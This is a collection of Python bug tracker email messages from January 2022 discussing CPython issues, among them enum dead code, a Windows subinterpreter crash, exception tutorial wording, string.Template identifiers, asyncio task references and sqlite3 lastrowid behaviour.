Message-ID: <1641576989.34.0.689018716767.issue46296@roundup.psfhosted.org>
New submission from Nikita Sobolev <mail at sobolevn.me>:
This condition can never be `True`: https://github.com/python/cpython/blob/b127e70a8a682fe869c22ce04c379bd85a00db67/Lib/enum.py#L222-L223
Why? Because:
1. It is executed only when `if not enum_class._use_args_:`: https://github.com/python/cpython/blob/b127e70a8a682fe869c22ce04c379bd85a00db67/Lib/enum.py#L215
2. But, `enum_class._use_args_` will always be `False` for cases when `enum_class._member_type_` is `object`
3. It is defined here: https://github.com/python/cpython/blob/b127e70a8a682fe869c22ce04c379bd85a00db67/Lib/enum.py#L937
So, I guess that removing this condition can simplify the `enum.py`.
Coverage shows that this part is not tested.
I will send a PR shortly.

Subject: [issue46070] [subinterpreters] asyncio crash when importing _asyncio
in subinterpreter (Python 3.8 regression)
In-Reply-To: <1639479470.16.0.0957612092108.issue46070@roundup.psfhosted.org>
Message-ID: <1641577500.22.0.922384349932.issue46070@roundup.psfhosted.org>
STINNER Victor <vstinner at python.org> added the comment:
In the 3.9 branch, the commit 4d2cfd354969590ba8e0af0447fd84f8b5e61952 fixed the _asyncio extension. win_py399_crash_reproducer.py still branch on Windows in the 3.9 branch. The code can be simplified with:
code = "import _sre"
Moreover, even if I modify PyInit__sre() to only call PyModule_Create(), it does still crash. I can still reproduce the crash with the following simplified _sre.c code:
---
static PyMethodDef _functions[] = {
_SRE_COMPILE_METHODDEF
{NULL, NULL}
};
static struct PyModuleDef sremodule = {
PyModuleDef_HEAD_INIT,
"_" SRE_MODULE,
NULL,
-1,
_functions,
NULL,
NULL,
NULL,
NULL
};
PyMODINIT_FUNC PyInit__sre(void)
{
return PyModule_Create(&sremodule);
}
---
If _SRE_COMPILE_METHODDEF is removd from _functions, the script no longer crash.
Is there something specific about method objects? Is it safe to share them between multiple interpreters? See my message msg408662 which gives some details.

Let me be clearer. This bug prevents me from building main (3.11) to test anything with a proper up-to-date 3.11 binary. So to me this is highest priority. Is this just my machine or every Windows system? How are CI and buildbots rebuilding and running? Is there some workaround I need to add? Use newer VC (and change devguide)?
----------
priority: normal -> release blocker
stage: -> backport needed

The idea is interesting, and I agree that glob with a maxi wildcard is not a great solution. There is discussion on the PR about adding walk vs extending iterdir; could you post a message on discuss.python.org and sum up the the discussion? (Pull requests on the CPython repo are only used to discuss implementation, not for debating ideas or proposing features.)

Terry J. Reedy <tjreedy at udel.edu> added the comment:
I presume you mean the mailbox parameter of imaplib.IMAP.select().
https://docs.python.org/3/library/imaplib.html#imaplib.IMAP4.select
IMAP4.select(mailbox='INBOX', readonly=False)
Select a mailbox. Returned data is the count of messages in mailbox (EXISTS response). The default mailbox is 'INBOX'. If the readonly flag is set, modifications to the mailbox are not allowed.
Enhancements only go into future releases. Please make sure that the current main branch does not have the feature you are requesting.
Neither our doc nor https://datatracker.ietf.org/doc/html/rfc2060.html contain '2822', so you might be requesting something not supported.
There is no active maintainer for this module, so response from someone familiar with imaplib may take awhile.

If you scroll up, you can see that BaseException was mentioned above:
"All exceptions inherit from BaseException, and so it can be used to serve as a wildcard"
so I don't think it will add confusion to fix this. And it will be more accurate.
Gregor, would you like to submit a patch?

In https://docs.python.org/3/library/exceptions.html#Exception, it is written:
"All built-in, non-system-exiting exceptions are derived from this class. All user-defined exceptions should also be derived from this class."
Yes, technically, the root of all exceptions is BaseException. However, this seems to indicate that the advice given in the tutorial is correct.

Subject: [issue46070] [subinterpreters] asyncio crash when importing _asyncio
in subinterpreter (Python 3.8 regression)
In-Reply-To: <1639479470.16.0.0957612092108.issue46070@roundup.psfhosted.org>

STINNER Victor <vstinner at python.org> added the comment:
The _sre crash has a complex history in the 3.9 branch:
* (1) 2019-11-20, commit 7247407c35330f3f6292f1d40606b7ba6afd5700: first CRASH! The parent commit (488d02a24142948bfb1fafd19fa48e61fcbbabc5) doesn't crash.
* (2) 2019-11-22, commit 82c83bd907409c287a5bd0d0f4598f2c0538f34d: no crash (fix/workaround the crash)
* (3) 2021-10-05, commit 52d9d3b75441ae6038fadead89eac5eecdd34501: crash again! (somehow revert the previous fix/workaround the crash, but fix another bug)
It seems like the initial regression comes from this change:
commit 7247407c35330f3f6292f1d40606b7ba6afd5700
Author: Victor Stinner <vstinner at python.org>
Date: Wed Nov 20 12:25:50 2019 +0100
bpo-36854: Move _PyRuntimeState.gc to PyInterpreterState (GH-17287)
* Rename _PyGC_InitializeRuntime() to _PyGC_InitState()
* finalize_interp_clear() now also calls _PyGC_Fini() in
subinterpreters (clear the GC state).

Hello and thanks for the report!
Could you tell more about what you?re trying to achieve?
Some notes:
You are not meant to change the code of provided modules, but to instantiate classes with the right parameters, or subclass in your own code to change how some methods work.
Supporting HTTP 1/1 is not just changing the protocol string, but also about supporting the actual behaviours defined in the 1.1 spec!
If the module has a parameter for version and it doesn?t work, then you can report a bug. If there is no such parameter, you can open a feature request to ask for HTTP 1.1 support.

There are other issues in this doc:
1. The paragraph starting with "The except clause may specify a variable after the exception name.." appears after this face was used in an example. It should move up.
2. In the User-defined Exceptions Section, there is a link to the Classes tutorial in the beginning "(See Classes for more about Python classes)", and another one at the end, "More information on classes it presented in chapter Classes". The second one can be removed.

STINNER Victor <vstinner at python.org> added the comment:
This bug is hard to reproduce for different reasons:
* It occurs randomly: I need between 1 and 50 attempts to reproduce the bug using win_py399_crash_reproducer.py
* So far, the bug was only reproduced on Windows.
* I failed to reproduce the crash on Linux. I tried PYTHONMALLOC=malloc and PYTHONMALLOC=malloc_debug with and without LD_PRELOAD=/usr/lib64/libjemalloc.so.2 (jemalloc memory allocator).
* The _sre extension has been converted to multi-phase init in Python 3.10. "import _sre" is no longer enough to reproduce the crash on Python 3.10 and newer.

?ric Araujo <merwok at netwok.org> added the comment:
I understand your report better after looking at the code.
There is indeed a protocol_version parameter in the test function (which is really a main function, not test), that sets the protocol attribute on the passed handler class. (The class attribute is changed, which seems like a bug!) The BaseHTTPRequestHandler class does have support for HTTP 1.1 (adds automatic keep-alive).
So if we ignore the distraction that OP changed the source code, and imaging instead that they called `test(protocol="HTTP/1.1")`, then there would be a bug if the requests went out as HTTP/1.0.
Hugo, can you attach a minimal reproducer? (a python script as small as possible to show the problem ? don?t edit code in http.server but call the http.server.test function with your own code)

Only a newer WinSDK, which is not in any way a significant change to the resulting build and so isn't part of the "spec" as it were.
But we'll remove the use of this flag once someone has the time to make a PR.

Subject: [issue46297] Python interpreter crashes on bootup with multiple
PythonPaths set in registry
Message-ID: <1641585455.34.0.594665245772.issue46297@roundup.psfhosted.org>
New submission from Derzsi D?niel <daniel at tohka.us>:
When multiple PythonPaths are set up in the registry, in addition to the default PythonPath, the interpreter crashes immediately on bootup.
```Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Python\PythonCore\3.11\PythonPath\Panda3D]
@="C:\\Panda3D-1.11.0-x64\\python"```
The interpreter will crash with the following message:
```Exception ignored error evaluating path:
Traceback (most recent call last):
File "<frozen getpath>", line 652, in <module>
TypeError: QueryValue expected 2 arguments, got 1
Fatal Python error: error evaluating path
Python runtime state: core initialized
Current thread 0x00002bd0 (most recent call first):
<no Python frame>```
This regression was introduced in the Python 3.11 branch with commit 99fcf1505218464c489d419d4500f126b6d6dc28 on Dec 3, 2021.

Terry, it's just a simple bug that slipped by. The PATHCCH_OPTIONS enum in the SDK header "PathCch.h" unconditionally defines all of the options. So there's no compiler error when building with a newer version of the SDK, even though we define _WIN32_WINNT to 0x602 (Windows 8).

Message-ID: <1641585951.85.0.318865521912.issue46298@roundup.psfhosted.org>
New submission from Arie Bovenberg <a.c.bovenberg at gmail.com>:
Recently, I've identified some __slots__-related mistakes in the stdlib (bpo-46247, bpo-46244, bpo-46246).
Looking forward, it'd be wise to automate this check so mistakes don't creep into the code in the future.
Implementation-wise, the most straightforward solution would be a single test that walks all Lib/ (sub)modules and checks all classes.
Perhaps those with more experience in the test suite can chime in where this check might live

Guido van Rossum <guido at python.org> added the comment:
Deep-freezing is definitely not a miracle cure. We should continue to trim or delay unneeded imports (like Christian just did for setuptools' _distutils_hack).
What *would* be a miracle cure would be if we could deep-freeze the module contents after it has *executed*. But that is much harder in general, since two executions (even on the same platform) could result in different module contents (e.g. conditionally defining something based on environment contents).
Instagram's Cinder has something that works for this, strict modules (https://github.com/facebookincubator/cinder#strict-modules). It is a complex system! But if we could do this it could really speed up a lot of imports tremendously. (Though still at the cost of binary size increase.)

Andre Roberge <andre.roberge at gmail.com> added the comment:
Irit:
Gregor indicates that, while the tutorial refers to "a class that derives from Exception", the Python Reference Language states exceptions should be subclasses of BaseException (which Exception *is*).
You then invited Gregor to submit a patch to change the wording of the tutorial (implying that it would refer to a class that derives from BaseException).
I pointed out that the advice given elsewhere is that user-defined exceptions should derive from Exception (thus, not from BaseException), so that nothing should be changed in the tutorial, and no change should be submitted.
So, as I understand it: there is a strict hierarchy of exceptions classes, all inheriting from BaseException. However, user-defined exceptions should be derived from Exception (and not BaseException), as indicated in the tutorial and on the page describing what each exception indicates. If that is correct, nothing needs to be changed in the tutorial.

Looking through some of my code that prompted that branch, the issue is caused when `_generate_next_value_` modifies the given args -- when `__set_name__` runs it has no way of getting the same results to automatically create the `_value_` attribute.

Irit:
In all the books and tutorials I have seen, the advice is to try to catch specific exceptions whenever possible or, *at most*, to catch Exception (and not BaseException). This is to allow, for example, a program to be interrupted by a KeyboardInterrupt.
As you know, the hierarchy is as follows:
BaseException
+-- SystemExit
+-- KeyboardInterrupt
+-- GeneratorExit
+-- Exception
+-- all others
If specific action to do some cleanup before a SystemExit (usually the result of calling sys.exit()) or catching some KeyboardInterrupt (which is generally NOT done via a raise statement), then these specific exception should be caught.
The documentation refers to GeneratorExit as not indicating an error needing to be caught by users.
For this advice (catching Exception and not BaseException) to be correct, users should be advised (as they are in the tutorial) to raise exceptions derived from Exception (and not BaseException).

Terry J. Reedy <tjreedy at udel.edu> added the comment:
How about following "The Python interpreter has a number of functions and types built into it that are always available. They are listed here in alphabetical order." in
https://docs.python.org/3/library/functions.html
with "Here and elsewhere in these docs, entries for functions (including methods) that always return None usually omit 'Return None' and just say what the function does."
Barry: The PEP 8 'return None' recommendation could be added to the Reference entry for 'return'. But I think this should be a separate issue as 1) it is about coding rather than documentation and 2) there is the possible objection that choosing completely explicit 'return None' versus half explicit, half implicit 'return' and the latter versus completely implicit <nothing at end> should be left to the style PEP.

Yes. And, from what I can tell, the same incorrect line is indicated at least all the way back to Python 3.6 (where it was "invalid token" instead of "invalid decimal literal).

I do think it's a question of style. Section 7.6 of the language reference says:
> If an expression list is present, it is evaluated, else None is substituted.
which is the important concept that beginners should learn.
I agree that the admonition in PEP 8 is really trying to say "don't mix implicit and explicit return styles". Implicit None return is fine if all exit paths are implicit. But once you add an explicit value to a return path, all return paths should use explicit values, including those that return None.
IME, while I do occasionally encounter push back on this when doing reviews, most folks come around to this p.o.v.

Subject: [issue46299] Improve several exception handling practices in
`test_descr.py`
Message-ID: <1641595138.46.0.98014410206.issue46299@roundup.psfhosted.org>
New submission from Nikita Sobolev <mail at sobolevn.me>:
There are several problems in `test_descr.py` that I've found:
1. In `test_dir` there's a test case that ensure that `TypeError` is raised in some case: https://github.com/python/cpython/blame/c9dc1f491e8edb0bc433cde73190a3015d226891/Lib/test/test_descr.py#L2548-L2551 But it never does anything if this error is not raised. So, this test can contain a possible problem inside. It will just skip a scenario where `TypeError` is not thrown.
2. The same with `test_file_failt` here: https://github.com/python/cpython/blame/c9dc1f491e8edb0bc433cde73190a3015d226891/Lib/test/test_descr.py#L4451-L4456 If `RuntimeError` is not thrown - nothing happens
3. `assert 0, ...` is problematic: https://github.com/python/cpython/blame/c9dc1f491e8edb0bc433cde73190a3015d226891/Lib/test/test_descr.py#L4451-L4456 It can be dropped in optimized mode and it's error message is not ideal
I will send a PR with all these problems fixed.

I hard forgotten this bit in the email thread:
Serhiy: What do you think about -hh (and maybe ?help-full) printing full help?
Guidp: Is there enough of a use case for this to bother?
Barry: Maybe not. I?d say if it was easy to implement, why not, but if it?s a pain, don't bother.
The option parsing code is easy to edit, and the function would only need to call the other usage functions with a blank line inbetween. Should I add it?

Message-ID: <1641597759.71.0.591724063363.issue46302@roundup.psfhosted.org>
New submission from Pierre Fortin <pf at pfortin.com>:
var = "u2"
var.strip()[0]
Works as expected, except that it returns IndexError (instead of "u") if used in a list comprehension -- at least, that's where I found it. Attached example script illustrates the issue.
Call it with "mytest N" where N is 1 (fails), 2 (works), 3 (fails).
mytest 1 -- KeyError expected; this was due to infile design change
adding a digit to previously single char code
mytest 2 -- workaround to actual issue in next test
mytest 3 -- adding [0] fails when used in list comprehension

Message-ID: <1641600257.06.0.126247586525.issue46291@roundup.psfhosted.org>

Andre:
You mention that user-defined exceptions should inherit from Exception. This is totally right and explicitly stated just a bit later in 8.6 on the same page of the tutorial. I think this perfectly covers this concern .
However, the paragraph I refer to explains the raise statement and as stated in the reference, the raise statement must be followed by a class or instance derived from BaseException. Thus, I think it would just be accurate and people reading on don't stumble over this difference as I did.
Regarding the mentioned wildcard: I think it wouldn't be a real wildcard anymore if it didn't catch ALL exceptions. Anyway the tutorial states that it needs to be used with extreme caution and the example re-raises the error.
Irit:
Yes I am happy provide a patch. I would also correct the other two issues you mentioned.

I would move the paragraph starting with "The except clause may specify a variable after the exception name ..." and the following example before the paragraph starting with "All exceptions inherit from BaseException, and so it can be used to serve as a wildcard ..."
Or did you have another position in mind?

> it returns IndexError (instead of "u") if used in a list comprehension
Works as expected inside a list comprehension:
>>> var = "u2"
>>> [var.strip()[0] for i in range(2)]
['u', 'u']
>>> ["ok" for i in range(2) if var.strip()[0] == "u"]
['ok', 'ok']
I am 99.99% certain that you have a bug in your code, but your code is so complicated that it is not obvious at a glance where the bug is. I am strongly tempted to just close this as "Works for me" and tell you to come back and re-open the bug report when you have isolated the issue to a simpler case, but I will resist the temptation for now.

Steven D'Aprano <steve+python at pearwood.info> added the comment:
Your functions test1 and test2 are irrelevant to the bug report. The driver code using eval() to pick which function to call is unneeded. The business of simulating a file is complexity for no purpose.
Those ignore, count, unique functions are also irrelevant.
Removing all the irrelevant and extraneous complexity that obfuscates the problem, we get to two lines of simplified code sufficient to demonstrate the issue:
each = "name = "
[code.strip()[0] for func, code in [each.split('=')]]
which sure enough raises IndexError.
The hint was looking at your fix() function, which made it clear that you are getting an IndexError because the string is an empty string. Well of course you do, that is expected behaviour.
Why do you get an empty string? Because you split the line "name = " on the equals sign, giving
func = "name "
code = " "
then you strip the whitespace from code giving:
code = ""
then you try to extract the first character of code using code[0], which raises IndexError, because that's what it is supposed to do.
So there is no bug here, Python is working correctly.

Message-ID: <1641605943.25.0.22009088015.issue46287@roundup.psfhosted.org>
Eryk Sun <eryksun at gmail.com> added the comment:
> _Py_abspath/_getfullpathname does not always call GetFullPathNameW on 3.11.
Also, PathCchSkipRoot() doesn't recognize forward slash as a path separator, so _Py_isabs() is wrong in many cases compared to the same path that uses backslash as the path separator.
For example, _Py_isabs() wrongly returns false in the following cases, so GetFullPathNameW() is called, and ironically the misbehavior of _Py_isabs() leads to the correct result.
>>> os.path.abspath('//spam//eggs. . .')
'\\\\spam\\eggs'
>>> os.path.abspath('C:/spam. . .')
'C:\\spam'
>>> os.path.abspath('C:/nul')
'\\\\.\\nul'
_Py_isabs() returns true in the following cases, so only normpath() is called:
>>> os.path.abspath(r'\\spam\\eggs. . .')
'\\\\spam\\\\eggs. . .'
>>> os.path.abspath('C:\\spam. . .')
'C:\\spam. . .'
>>> os.path.abspath('C:\\nul')
'C:\\nul'
As the above shows, normpath() doesn't remove trailing dots and spaces from the last component of a path, and it doesn't special case DOS devices in the last component of a drive-letter path. The latter is still implemented for the NUL device in Windows 11 and implemented for all DOS devices in Windows 8.1 and 10 (e.g. CON, CONIN$, CONOUT$, AUX, PRN, COM<1-9>, LPT<1-9>).
I would prefer to remove the _Py_isabs() check from _Py_abspath() in Windows, unless there's a strong case for startup performance, in which case I'd prefer to revert the change to nt._getfullpathname() and only use _Py_abspath() during startup.

New submission from Paul Campbell <pacampbell87 at gmail.com>:
While attempting to embed the full cpython source in my application, I found that during compilation on Windows, there was a compilation issue due to struct stat not being defined. Taking a look at the file cpython/fileutils.h, it seems that the type of the status argument should be _Py_stat_struct instead of just stat to satisfy compilation for all supported platforms.

Subject: [issue46304] Unable to iterate over lines in a file without a block
of code
Message-ID: <1641614984.33.0.0710604496782.issue46304@roundup.psfhosted.org>
New submission from Jason R. Coombs <jaraco at jaraco.com>:
I'd like to be able to do something pretty fundamental: lazily load lines from a file in a single expression.
Best I can tell, that's not possible in the language without triggering warnings.
One can use 'open' but that triggers a ResourceWarning:
```
$ $PYTHONWARNINGS='error' python -c "lines = open('/dev/null'); tuple(lines)"
Exception ignored in: <_io.FileIO name='/dev/null' mode='rb' closefd=True>
ResourceWarning: unclosed file <_io.TextIOWrapper name='/dev/null' mode='r' encoding='UTF-8'>
```
One can use a `with` statement, but that requires a block of code and can't be written easily in a single expression. One can use `pathlib.Path.read_text().splitlines()`, but that loads the whole file into memory.
This issue affected the pip-run project, which required 5 new lines in order to make such an expression possible (https://github.com/jaraco/pip-run/commit/e2f395d8814539e1da467ac09295922d8ccaf14d).
Can the standard library supply a function or method that would provide this behavior?

Hi, Jason.
How about:

['how', 'now', 'brown', 'cow']
Not the most elegant thing, I'll admit.

Message-ID: <1641628447.27.0.922498430073.issue46305@roundup.psfhosted.org>
New submission from Samisafool <thenerdiestguy at gmail.com>:
SyntaxError when using dict key in fstring
Attached is a python file where this bug is visible.
The error is different on CPython 3.8 and 3.9/3.10, interestingly.
Occurs on CPython 3.8-10 and PyPy 3.8 7.3.7
Not sure which component to select, never filed a python bug report before. Hopefully this is correct.

Can you please try this:
```
dict1 = {
"key1": "test"
}
print(dict1["key1"])
print(f"key1 is {dict1['key1']}!")
```
The problem with your code is that `dict1["key1"]` used the same quotes as `f""`.

Just to clarify.
What do you mean by "When running code in debug mode"?
Do you use some debugger like `pdb` or pycharm?

TBH, personally I don't think I'd just reword it with "below". That seems like the path of least resistance, but then the sentence becomes this:
"""
This won?t work for __main__.py files in the root directory of a .zip file though. Hence, for consistency, minimal __main__.py like the venv one mentioned below are preferred.
"""
Doesn't really track. How can you draw conclusions ("Hence...") from something that hasn't even been discussed yet?
It might actually be better to just drop the mention of venv from that particular sentence. The see-also text introduces *itself* as an example of what was just discussed. There's no real reason to bring it up ahead of time, because the see-also already flows naturally from the previous discussion without any setup.

Indeed, the argument name in the code is "obj", and in 3 of those 4 functions it is a normal (positional or keyword) argument, so the name is important.

A warning is an indication of possible bugs in your code. If you do not close file explicitly, and it is closed by the garbage collector, the time of closing is undeterminated. This can lead to exhausting of file descriptors if you have a lot of opened files waiting for closing in reference loops.
If you want to get rid of warnings, use a corresponding warning filter for ignoring specific warnings. Or better rewrite your code in a way that file closing is deterministic.

Message-ID: <1641638344.77.0.816845423289.issue46306@roundup.psfhosted.org>
New submission from Nikita Sobolev <mail at sobolevn.me>:
This line `lineno = getattr(obj, 'co_firstlineno', None)-1` does not look good. Link: https://github.com/python/cpython/blame/45d44b950f1dab0ef90d0a8f4fa75ffaae71500b/Lib/doctest.py#L1116
Why?
1. `CodeType` is guaranteed to have `co_firstlineno`. Docs: https://github.com/python/cpython/blob/45d44b950f1dab0ef90d0a8f4fa75ffaae71500b/Lib/inspect.py#L487
2. Even if it does not have it for some reason, this `getattr` does not help. It raises unhandled `TypeError`. We can simulate it by replacing `lineno = getattr(obj, 'co_firstlineno', None)-1` with `lineno = None-1`
Here's what happens in this case:

Exception: errors while loading tests

== Tests result: FAILURE ==
1 test failed:

```
So, we have two options:
1. Think of a case when `CodeType` does not have `co_firstlineno` and handle it properly, like using `0` or `None` as `lineno`
2. Simplify this line to remove potential `TypeError`
I think that this line should be rewritten as `lineno = obj.co_firstlineno - 1`
I will send a PR for others to judge.

FeRD (Frank Dana) <ferdnyc at gmail.com> added the comment:
Maybe,
"""
This won?t work for __main__.py files in the root directory of a .zip file though. Thus, for consistency, it is usually preferred to place code in other modules. That code can then be invoked from a minimal ``__main__.py``.
"""
(And then the see-also opens, "See venv for an example of a package with a minimal __main__.py in the standard library." which is a natural extension of the discussion.)
@taleinat's suggestion works as well (crossed streams).

STINNER Victor <vstinner at python.org> added the comment:
It's not the first time that private functions included by the public Python.h are causing build errors event if these functions are not used. The previous issue were functions for atomic operations. I solved this build error by moving the whole private C API into the internal C API: Include/internal/pycore_atomic.h. Since that time, we no longer got build error related to this header file.
I propose a similar fix: move all private fileutils.h functions from Include/cpython/fileutils.h to the internal Include/internal/pycore_fileutils.h.
I wrote PR 30484 to implement this change.
To keep the implementation simple, I kept _Py_fopen_obj() in Include/cpython/fileutils.h, for _testcapi which must not use the internal C API.
If this PR is merged, for Python 3.9 and 3.10, I will write a simpler change: modify Include/cpython/fileutils.h to only define functions using "struct stat" in the internal C API (if Py_BUILD_CORE is defined).

[Thanks for the replies! I was trying to post this before seeing them.]
Major egg on face...
The more complex the code becomes, the more likely you will be burned by a rookie mistake...
var = ''
var[0] WILL give IndexError -- Duh!
It was buried in the each.split('=') returning an empty string -- that's what you get for making things easier for the user.
The easier code is to use, the more complex it must be...
Sorry for the noise.

Thanks for the suggestion and the PR, Giacomo!
However, in my opinion, this is better suited to be something like a cookbook recipe. The number of use cases for this will be low, and there would be little advantage to having this in the stdlib rather than elsewhere.

The short story is, everything is okay,
its my bad to taken the test function out of context,
sorry about that of issue report.
# just for details review (related file attached):
#
# check line 1277 to line 1278 (main branch of Python currently):
# https://github.com/python/cpython/blob/17b16e1/Lib/http/server.py#L1277-L1278
#
# thus, `functools.partial` (closure/wrapper) will
# make the parameter `protocol` of the function `test` useless.
# So, specify a handler class directly.

Subject: [issue46307] string.Template should allow inspection of identifiers
Message-ID: <1641672749.81.0.761758582979.issue46307@roundup.psfhosted.org>
New submission from Ben Kehoe <ben at kehoe.io>:
Currently, the only thing that can be done with a string.Template instance and a mapping is either attempt to substitute with substitute() and catch a KeyError if some identifier has not been provided in the mapping, or substitute with safe_substitute() and not know whether all identifiers were provided.
I propose adding a method that returns the identifiers in the template. Because the template string and pattern are exposed, this is already possible as a separate function:
def get_identifiers(template):
return list(
set(
filter(
lambda v: v is not None,
(mo.group('named') or mo.group('braced')
for mo in template.pattern.finditer(template.template))
)
)
)
However, this function is not easy for a user of string.Template to construct without learning how the template pattern works (which is documented but intended to be learned only when subclassing or modifying id patterns).
As a method on string.Template, this would enable use cases like more comprehensive error handling (e.g., finding all missing mapping keys at once) or interactive prompting.

Jason R. Coombs <jaraco at jaraco.com> added the comment:
Hi Eric. I did mention that option in my report, but that option requires loading the whole file into memory. I'd like something equivalent to the iterator that `open()` provides, which yields lines lazily.
Serihy, thanks for the feedback. I do indeed not want to rely on the implicit closing of the file handle. I'd instead like a helper function/method that will close the file after the iterator is consumed.
Something like:
def read_lines(path):
with path.open() as strm:
yield from strm
What I'm seeking is for that block to be placed somewhere in the stdlib so that I don't have to copy it into every project that needs/wants this behavior.

Subject: [issue46249] [sqlite3] move set lastrowid out of the query loop and
enable it for executemany()
In-Reply-To: <1641244467.23.0.820858977306.issue46249@roundup.psfhosted.org>
Message-ID: <1641675413.46.0.201951806785.issue46249@roundup.psfhosted.org>
Erlend E. Aasland <erlend.aasland at innova.no> added the comment:
Marc-Andr?: since Python 3.6, the sqlite3.Cursor.lastrowid attribute does no longer comply with the recommendations of PEP 249:
Previously, lastrowid was set to None for operations other than INSERT or REPLACE. This changed with ab994ed8b97e1b0dac151ec827c857f5e7277565 (in Python 3.6), so that lastrowid is _unchanged_ for operations other than INSERT or REPLACE, and it is set to 0 after the first valid SQL (that is not INSERT/REPLACE) is executed on the cursor.
Now, PEP 249 only _recommends_ that lastrowid is set to None for operations that do not modify a row, so it's probably not a big deal. No-one has ever mentioned this change in behaviour; there have been no bug reports.
FTR, here is the relevant quote from PEP 249:
If the operation does not set a rowid or if the database does not support
rowids, this attribute should be set to None.
(I interpret "should" as understood by RFC 2119.)
So, my follow-up question becomes:
I see no point in reverting to pre Python 3.6 behaviour. I would rather change the default value to be 0 (to get rid of the dirty flag in GH-30380), and to make the behaviour more consistent with how the actual SQLite API behaves.
Do you have an opinion about such a change (in behaviour)?

Erlend E. Aasland <erlend.aasland at innova.no> added the comment:
I see now that GH-30380 has grown a little bit out of scope, as it changes too many things at once:
1. Simplify the `execute()`/`executemany()` query loop
2. Create the lastrowid PyObject on demand, simplifying cursor GC
3. `lastrowid` is now available for all `execute*()` methods
4. The default value of `lastrowid` is now `0`
It will be easier to reason about and review each change separately.

Nice reference. Indeed, the [rationale](https://www.python.org/dev/peps/pep-0533/#id15) of that pep gives a similar example and the [background](https://www.python.org/dev/peps/pep-0533/#id3) describes the problem with the solution I've drafted above (it still depends on garbage collection to close the file).
I guess that means that in general, it's not possible to accomplish what I'd like.
As author of the PEP, I'm looping in njs.

New submission from Thomas Klausner <tk at giga.or.at>:
The configure script uses the test(1) '==' operator, which is only supported by bash. The standard comparison operator is '='.

I can't believe I missed that, Jason. I even read it twice!
I think this could go in pathlib, along with read_text. Maybe read_lines, or iter_lines, or something. Of course PEP 533 is needed, too.

Let me just say that I use `raise SystemExit` all the time. Beats `from sys import exit`, weird error messages about having to type parentheses, and surely beats "oh, am I on Windows so Ctrl+Z, or on Linux so Ctrl+D". :-]
I also use `raise KeyboardInterrupt` sometimes in games, to test whether Ctrl+C handling works as expected at precise moments in the game (beats having to guess the millisecond in which to press Ctrl+C:).

Subject: [issue46309] Task created by StreamReaderProtocol gets garbage
collected.
Message-ID: <1641684955.44.0.77228446083.issue46309@roundup.psfhosted.org>
New submission from Simon Wrede <simwr872 at student.liu.se>:
Documentation states that a reference must be kept when creating a task, https://docs.python.org/3/library/asyncio-task.html#asyncio.create_task.
This is not done in StreamReaderProtocol, https://github.com/python/cpython/blob/main/Lib/asyncio/streams.py#L244.
I've provided a simple example to force garbage collection of this task which results in `Task was destroyed but it is pending!`. Uncommenting the commented code of the example shows that the task is not destroyed when a reference is kept.
Am I missing something or using the library incorrectly? I've followed the examples at https://docs.python.org/3/library/asyncio-stream.html#tcp-echo-server-using-streams.

I've never personally needed this, but I could see where it could come in handy.
I wonder if __iter__() would be the right API for that? I wonder then if we should also implement __contains__()?
Would you be interested in creating a PR for the feature?

Ben Kehoe <ben at kehoe.io> added the comment:
Happy to make a PR! In my mind I had been thinking it would be the get_identifiers() method with the implementation above, returning a list.
As for __iter__, I'm less clear on what that would look like:
t = string.Template(...)
for identifier in t:
# what would I do here?
# would it include repeats if they appear more than once in the template?
I guess there are two ways to think about it: one is "what identifiers are in this template?" which I think should return a list with no repeats, which I can then iterate over or check if a value is in it. The other is, "what are the contents of the template?" in the style of string.Formatter.parse().
Given that string.Template is supposed to be the "simple, no-frills" thing in comparison to string.Formatter, I see less use for the latter option.

I think you?re right that the iterator API isn?t very helpful. I also agree that you probably really want to answer the ?why identifiers are in this template?? question. As for repeats, there?s two ways to think about it. You could return all the identifiers in the order in which they?re found in the template (and you can unique-ify them if you want by passing that list to set()). But maybe you don?t really need that either.
get_identifiers() works for me!

Ben Kehoe <ben at kehoe.io> added the comment:
I opened a PR. By default, it raises an exception if there's an invalid identifier; there's a keyword argument raise_on_invalid to control that.
The implementation I have adds them to a set first, which means the order is not guaranteed. I'm of two minds about this: if there's a big template, you want to gather the identifiers in a set so uniqueness is checked immediately and O(1) and without duplication. On the other hand, if templates are never very big, you could build a list (in order) and check it, O(N) style, or build a duplicate list and set in parallel. Or build a big list and check it at the end.
I kind of think ordering doesn't matter? What would someone do with that information?

I guess applying '@reprlib.recursive_repr' decorator to 'events.Handle.__repr__()' function can help.
Could you check, please?

Thanks for the bug report.
Seems like your analysis is correct.
Could you make a pull request which adds a task reference?

Subject: [issue46310] Simplify `for` loop in `.close()` method in
`asyncio/windows_events`
Message-ID: <1641719482.54.0.073879595451.issue46310@roundup.psfhosted.org>
New submission from Nikita Sobolev <mail at sobolevn.me>:
This line https://github.com/python/cpython/blob/3d11c1b8b49800c5c4c295953cc3abf577f6065a/Lib/asyncio/windows_events.py#L842 uses `.items()`, but the key seems unsused.
It would be better to use `.values()` there.
1. It is slightly faster, very generic benchmark:
```
import timeit
cache = {i: (i, i + 1, None, f'a{i}') for i in range(1000)}
timeit.timeit('list(cache.items())', number=1000, globals=locals())
# 0.18165644304826856
timeit.timeit('list(cache.values())', number=1000, globals=locals())
# 0.04786261299159378
```
2. It is more readable, because unused variables are not created
And since it does not break anything, I think it is safe to refactor.

Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:
The safe way of using read_lines() is:
lines = read_lines()
try:
# use lines
finally:
lines.close()
or
with contextlib.closing(read_lines()) as lines:
# use lines
And it is in no way better than using "with open()" directly.
I think it is better to not add such sing to the stdlib because it only makes an illusion of safety but actually removes safety guards.
If we want using generators in expressions we need to add support for "with" in expressions and comprehensions.
data = json.load(f) with open(path, 'rb') as f
lines = (line.strip() for path in files with open(path) as f for line in f)

Thanks for checking, Steven. Your report also helped me to notice a minor portability bug (at Objects/longobject.c:288, where the wrong type is used in a cast); a fix is in GH-30496.

Subject: [issue46311] Clean up PyLong_FromLong and PyLong_FromLongLong
Message-ID: <1641729344.86.0.271892670725.issue46311@roundup.psfhosted.org>
New submission from Mark Dickinson <dickinsm at gmail.com>:
PR GH-27832 inadvertently (I believe) introduced a couple of changes to PyLong_FromLong that didn't make a lot of sense: an (unsigned long) cast was replaced with (twodigits), and a digit count variable (counting number of PyLong digits in a C long) had its type needlessly changed from int to Py_ssize_t.
The first change is a potential portability bug, but only on platforms where the width of C's `long` exceeds 64 bits. The (unsigned long) cast is obviously correct, while figuring out whether (twodigits) loses information takes some work.
